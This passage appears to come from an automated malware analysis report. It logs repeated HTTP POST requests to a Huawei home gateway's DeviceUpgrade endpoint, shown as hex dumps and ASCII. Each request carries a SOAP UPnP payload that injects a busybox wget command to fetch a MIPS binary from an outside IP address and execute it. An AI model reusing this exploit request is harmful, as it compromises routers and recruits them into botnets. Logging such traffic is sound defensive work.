50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox 